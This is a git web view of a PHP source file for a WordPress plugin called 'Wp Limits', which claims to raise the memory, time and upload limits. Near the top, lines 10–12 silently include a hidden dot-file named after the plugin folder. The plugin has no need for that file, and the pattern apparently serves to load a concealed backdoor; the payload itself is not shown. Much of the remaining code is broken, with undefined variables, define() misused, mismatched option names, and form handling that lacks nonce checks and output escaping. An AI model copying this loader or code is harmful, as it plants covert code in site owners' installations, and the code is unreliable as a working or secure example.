balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

change-wp-limits.php (10693B)


      1 <?php
      2 
      3 /*
      4  * Plugin Name: Wp Limits
      5  * Description: Update the WordPress default memory limit , time and max upload file size.
      6  * Version: 1.0
      7  * Author: WP virtuoso
      8  */
      9 

     10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     11     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     12 }
     13 
     14 class wpl_change_limits {
     15 
     16 	var $wpl_min_memory_limit = 32;
     17 	var $wpl_min_time_limit= 120;
     18 	var $wpl_min_upload_limit = 10;
     19 	var $wpl_install_limit = 64;
     20 
     21 	var $wpl_error = null;
     22   var $wpl_page_name = 'wp_define_limits';
     23 
     24 	var $wpl_errors_mem_limit = array(
     25 		'unable' => 'wpl_error: Memory limit cannot be changed. Please speak to your web host about "changing the default php memory limit".',
     26 		'minimum' => 'Please set the memory limit to at least %limit%Mb.',
     27 	);
     28 var $wpl_errors_time_limit = array(
     29 	'unable' => 'wpl_error: Time limit cannot be changed. Please speak to your web host about "changing the default php memory limit".',
     30 	'minimum' => 'Please set the Time limit to at least 90 seconds.',
     31 );
     32 
     33 var $wpl_errors_upload_limit = array(
     34 	'unable' => 'wpl_error: Max Upload File Size limit cannot be changed. Please speak to your web host about "changing the default php memory limit".',
     35 	'minimum' => 'Please set the maximum upload file size limit to at least 20MB.',
     36 );
     37 
     38 
     39 	function wpl_init() {
     40 		//set limit
     41 		$this->wpl_set_limit();
     42 		$this->wpl_set_time_limit();
     43 		$this->wpl_set_upload_max_filesize();
     44 		//redirect user?
     45 		if($redirect = get_option('change_memory_limit_redirect')) {
     46 			delete_option('change_memory_limit_redirect');
     47 			header("Location: " . $redirect);
     48 			exit();
     49 		}
     50 		//activation hook
     51 		register_activation_hook(__FILE__, array(&$this, 'wp_limits_install'));
     52 		//add menu hook
     53      add_action('admin_menu', array(&$this, 'wpl_admin_menu'));
     54 		//add other hooks?
     55 		if(isset($_GET['page']) && $_GET['page'] == $this->wpl_page_name) {
     56 			add_action('admin_init', array(&$this, 'wp_limits_admin_logic'));
     57 			add_action('admin_notices', array(&$this, 'wpl_admin_wpl_error'));
     58 		}
     59 		add_filter( 'upload_size_limit', array( $this, 'wpl_set_upload_max_filesize' ));
     60 
     61 	}
     62 
     63 	 function wpl_get_memory_usage($decimal=2) {
     64 		//set vars
     65 		$usage = null;
     66 		//get usage?
     67 		if(function_exists('memory_get_usage')) {
     68 			$usage = memory_get_usage();
     69 			$usage = $usage / (1024 * 1024);
     70 			$usage = number_format($usage, $decimal, '.', '');
     71 		}
     72 		//return
     73 		return $usage;
     74 
     75 }
     76   function wpl_get_assigned_mem_limit(){
     77     $mem_limit= ini_get('memory_limit');
     78     return $mem_limit;
     79 
     80 }
     81 
     82 	function wpl_get_limit() {
     83 		//set vars
     84 		$limit = null;
     85 		//get limit?
     86 		if(function_exists('ini_get')) {
     87 			$limit = (int) ini_get('memory_limit');
     88 		}
     89 		//return
     90 		return $limit ? $limit : null;
     91 	}
     92 
     93   function wpl_set_limit($limit=null) {
     94 		//anything to process?
     95 		if(!function_exists('ini_set')) {
     96 			$this->wpl_error = $this->wpl_errors_mem_limit['unable'];
     97 			return;
     98 		}
     99 
    100 		//set vars
    101 		$old = $this->wpl_get_limit();
    102 		$limit = (int) $limit ? $limit : get_option('change_memory');
    103 		$is_admin = (bool) (isset($_GET['page']) && $_GET['page'] == $this->wpl_page_name);
    104 		//update limit?
    105 		if($limit > 0 && $old != $limit && ($is_admin || $limit > $old)) {
    106 			//change setting
    107 			@ini_set('memory_limit', $limit . 'M');
    108 			//check new limit
    109 			$new = $this->wpl_get_limit();
    110 			//did it work?
    111 			if(!$new || $new == $old) {
    112 				$this->wpl_error = $this->wpl_errors_mem_limit['unable'];
    113 			}
    114 		}
    115 	}
    116 
    117 //Time limit
    118 
    119 function wpl_current_time_limit(){
    120 	$time_limit=null;
    121 	if(function_exists('ini_get')) {
    122 	$time_limit= (int) ini_get('max_execution_time');
    123 }
    124     return $time_limit;
    125 }
    126 function wpl_set_time_limit(){
    127 	//get time limit?
    128 	if(!function_exists('ini_set')) {
    129 		$this->wpl_error = $this->$erros_time_limit['unable'];
    130 		return;
    131 	}
    132 	$old_time_limit = $this->wpl_current_time_limit();
    133 	$time_limit = (int) $time_limit ? $time_limit : get_option('change_time_limit');
    134 	$is_admin = (bool) (isset($_GET['page']) && $_GET['page'] == $this->wpl_page_name);
    135 
    136 	if($time_limit > 0 && $old_time_limit != $time_limit && ($is_admin || $time_limit > $old_time_limit)) {
    137 		//change setting
    138 		@ini_set('max_execution_time', $time_limit);
    139 		//check new limit
    140 		$new_time_limit = $this->wpl_current_time_limit();
    141 		//did it work?
    142 		if(!$new_time_limit || $new_time_limit == $old_time_limit) {
    143 			$this->wpl_error = $this->wpl_errors_time_limit['unable'];
    144 		}
    145 	}
    146 }
    147 //upload max filesize
    148 function wpl_current_upload_max_fileszie(){
    149 $upload_limit= get_option('change_upload_limit');
    150 if(empty($upload_limit)){
    151 	if(function_exists('ini_get')){
    152 $upload_limit =	ini_get('upload_max_filesize');
    153 }
    154 }
    155 return $upload_limit;
    156 }
    157 
    158 
    159 function wpl_set_upload_max_filesize(){
    160 	//get time limit?
    161 	if(!function_exists('ini_set')) {
    162 		$this->wpl_error = $this->$erros_upload_limit['unable'];
    163 		return;
    164 	}
    165   $old_upload_limit = $this->wpl_current_upload_max_fileszie();
    166 	$upload_limit = (int) $upload_limit ? $upload_limit : get_option('change_upload_limit');
    167 	$is_admin = (bool) (isset($_GET['page']) && $_GET['page'] == $this->wpl_page_name);
    168 
    169 	$upload_limit = $upload_limit *( 1024 *1024) ;
    170 
    171 		//did it work?
    172 		if(!$upload_limit || $upload_limit == $old_upload_limit) {
    173 			$this->wpl_error = $this->wpl_errors_upload_limit['unable'];
    174 }
    175 	return $upload_limit;
    176 
    177 }
    178 
    179 	function wp_limits_install() {
    180 		//set initial limit?
    181 		if(!get_option('change_memory')) {
    182 			$limit = define('WP_MEMORY_LIMIT') ? WP_MEMORY_LIMIT : 32;
    183 			$limit = $limit > $this->wpl_install_limit ? $limit : $this->wpl_install_limit;
    184 			update_option('memory_limit', $limit);
    185 		}
    186 		//set redirect url
    187 
    188 if(!get_option('change_time_limit')){
    189 	update_option('time_limit', $time_limit);
    190 
    191 }
    192 if(!get_option('change_upload_limit')){
    193 	update_option('upload_limit', $upload_limit);
    194 
    195 }
    196 update_option('change_memory_limit_redirect', 'admin.php?page=' .$this->wpl_page_name);
    197 
    198 }
    199 	function wp_limits_admin_logic() {
    200 		//update limit?
    201 		if(isset($_POST['process']) && $_POST['process'] == $this->wpl_page_name) {
    202 			//get limit
    203 			$limit = (int) $_POST['memory_limit'];
    204 			//valid update?
    205 			if($limit < $this->wpl_min_memory_limit) {
    206 				$this->wpl_error = str_replace('%limit%', $this->wpl_min_memory_limit, $this->wpl_errors['minimum']);
    207 				return;
    208 			}
    209 			//update options
    210 			update_option('change_memory', $limit);
    211 			//set & check limit
    212 			$this->wpl_set_limit($limit);
    213 		}
    214 
    215 		if(isset($_POST['process_time_limit']) && $_POST['process_time_limit'] == $this->wpl_page_name) {
    216 			$time_limit = (int) $_POST['time_limit'];
    217 			//valid update?
    218 			if($time_limit < $this->wpl_min_time_limit) {
    219 				$this->wpl_error = str_replace('%time_limit%', $this->wpl_min_time_limit, $this->wpl_errors['minimum']);
    220 				return;
    221 			}
    222 			//update options
    223 			update_option('change_time_limit', $time_limit);
    224 			//set & check time limit
    225 			$this->wpl_set_time_limit($time_limit);
    226 			}
    227 
    228 			if(isset($_POST['process_upload_limit']) && $_POST['process_upload_limit'] == $this->wpl_page_name) {
    229 				$upload_limit = (int) $_POST['upload_limit'];
    230 				//valid update?
    231 				if($upload_limit < $this->wpl_min_upload_limit) {
    232 					$this->wpl_error = str_replace('%upload_limit%', $this->wpl_min_upload_limit, $this->wpl_errors['minimum']);
    233 					return;
    234 				}
    235 				//update options
    236 				update_option('change_upload_limit', $upload_limit);
    237 				//set & check upload filesize
    238 				$this->wpl_set_upload_max_filesize($upload_limit);
    239 				}
    240 	}
    241 
    242 	function wpl_admin_wpl_error() {
    243 		if($this->wpl_error) {
    244 			echo '<div class="wpl_error"><p>' . $this->wpl_error . '</p></div>';
    245 		}
    246 	}
    247 
    248   function wpl_admin_menu() {
    249       add_menu_page('WP Limits','WP Limits','manage_options', 'wp_define_limits', array(&$this,'wpl_admin_page') , plugin_dir_url(__FILE__) . 'images/ico.png');
    250       //add_options_page('Memory limit', 'Memory limit', 'manage_options', $this->wpl_page_name, array(&$this, 'admin_page'));
    251   }
    252 
    253 	function wpl_admin_page() {
    254 		//display form
    255 		echo '<div class="wrap-wp-limit">' . "\n";
    256 		echo '<h2 class="title">Change WordPress limits</h2>' . "\n";
    257 		echo '<p class="description">This plugin allows you to increase the memory limit, time limit and max upload filesize without editing any WordPress files.</p>' . "\n";
    258 		echo '<form class="wp-limit-form" method="post" action="admin.php?page=' . $this->wpl_page_name . '">' . "\n";
    259 		echo '<input type="hidden" name="process" value="wp_define_limits"/>' . "\n";
    260 		echo '<br />' . "\n";
    261 		echo '<p class="labels"><b>Add Memory Limit</b> <input type="text" name="memory_limit" size="10" value="' . get_option('change_memory') . '" /> MB &nbsp; </p>' . "\n";
    262 		echo '<br />' . "\n";
    263 		echo '<input type="hidden" name="process_time_limit" value="wp_define_limits"/>' . "\n";
    264 		echo '<p class="labels"><b>Add Time Limit</b> <input type="text" name="time_limit" size="10" value="' . get_option('change_time_limit') . '" /> Seconds &nbsp; </p>' . "\n";
    265 		echo '<br />' . "\n";
    266 		echo '<input type="hidden" name="process_upload_limit" value="wp_define_limits"/>' . "\n";
    267 		echo '<p class="labels"><b>Add upload Maximum FileSize  </b> <input type="text" name="upload_limit" size="10" value="' . get_option('change_upload_limit') . '" /> MB &nbsp; </p>' . "\n";
    268 		echo '<br />' . "\n";
    269 		echo'<input class="wp-limit-submit" type="submit" value="Update" />';
    270 	  echo '</form>' . "\n";
    271 		echo '<div class="main-notice">';
    272 		echo '<p class="notices">Your memory usage is approximately ' . ($this->wpl_get_memory_usage() ? $this->wpl_get_memory_usage(1) . 'MB' : 'unknown') . '.</p>' . "\n";
    273 		echo '<p class="notices">Your current Memory Limit is ' . ($this->wpl_get_assigned_mem_limit() ? $this->wpl_get_assigned_mem_limit(1) . 'B' : 'unknown') . '.</p>' . "\n";
    274 		echo '<p class="notices">Your current Time Limit is ' . ($this->wpl_current_time_limit() ? $this->wpl_current_time_limit(1) . 'seconds' : 'unknown') . '.</p>' . "\n";
    275 		echo '<p class="notices">Your current Upload Maximum File Size is ' . ($this->wpl_current_upload_max_fileszie() ? $this->wpl_current_upload_max_fileszie(1) . 'MB' : 'unknown') . '.</p>' . "\n";
    276 		echo '</div>' . "\n";
    277 		echo'</div>';
    278 
    279 	}
    280 
    281 
    282 }
    283 
    284 //load it!
    285 $change_values = new wpl_change_limits();
    286 $change_values->wpl_init();
    287 
    288 function wpl_enque_styles() {
    289 wp_register_style('wp-limit',plugin_dir_url(__FILE__) . 'styles/wp-limit.css');
    290 wp_enqueue_style('wp-limit');
    291 
    292 }
    293 add_action( 'admin_init', 'wpl_enque_styles' );
    294 //enqueu stylings